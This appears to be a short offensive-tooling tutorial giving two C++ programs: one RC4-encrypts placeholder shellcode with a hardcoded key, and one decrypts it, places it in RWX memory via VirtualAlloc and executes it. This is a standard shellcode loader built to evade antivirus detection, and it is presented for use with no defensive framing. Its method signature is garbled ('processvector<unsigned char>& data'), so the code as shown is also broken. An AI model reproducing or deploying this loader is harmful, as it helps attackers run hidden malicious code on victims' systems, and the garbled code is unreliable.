1c. RC4-Based Self-Decrypting Payload (C++)
https://www.oryx-embedded.com/doc/rc4_8c_source.html
https://source.winehq.org/WineAPI/SystemFunction032.html
2. RC4-Based Self-Decrypting Payload (C++)
Step 1: Encrypt the Shellcode
#include <iostream>
#include <vector>
class RC4 {
public:
RC4(const std::vector<unsigned char>& key) {
for (int i = 0; i < 256; i++) S[i] = i;
int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + S[i] + key[i % key.size()]) % 256;
std::swap(S[i], S[j]);
}
i = j = 0;
}
void processvector<unsigned char>& data {
for (size_t k = 0; k < data.size(); k++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
std::swap(S[i], S[j]);
data[k] ^= S[(S[i] + S[j]) % 256];
}
}
private:
unsigned char S[256];
int i, j;
};
int main() {
std::vector<unsigned char> shellcode = { /* Your original shellcode */ };
std::vector<unsigned char> key = { 's', 'e', 'c', 'r', 'e', 't' };
RC4 rc4(key);
rc4.process(shellcode);
std::cout << "unsigned char payload[] = { ";
for (auto byte : shellcode) {
std::cout << "0x" << std::hex << (int)byte << ", ";
}
std::cout << "};\n";
return 0;
}
Run this to generate the encrypted payload and replace payload[]
in Step 2.
Step 2: Self-Decrypting Payload (With Memory Execution)
#include <windows.h>
#include <vector>
#include <iostream>
class RC4 {
public:
RC4(const std::vector<unsigned char>& key) {
for (int i = 0; i < 256; i++) S[i] = i;
int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + S[i] + key[i % key.size()]) % 256;
std::swap(S[i], S[j]);
}
i = j = 0;
}
void processvector<unsigned char>& data {
for (size_t k = 0; k < data.size(); k++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
std::swap(S[i], S[j]);
data[k] ^= S[(S[i] + S[j]) % 256];
}
}
private:
unsigned char S[256];
int i, j;
};
int main() {
unsigned char payload[] = { /* Encrypted shellcode goes here */ };
size_t payload_size = sizeof(payload);
std::vector<unsigned char> key = { 's', 'e', 'c', 'r', 'e', 't' };
std::vector<unsigned char> decrypted(payload, payload + payload_size);
RC4 rc4(key);
rc4.process(decrypted);
void* exec_mem = VirtualAlloc(NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, decrypted.data(), payload_size);
((void(*)())exec_mem)();
return 0;
}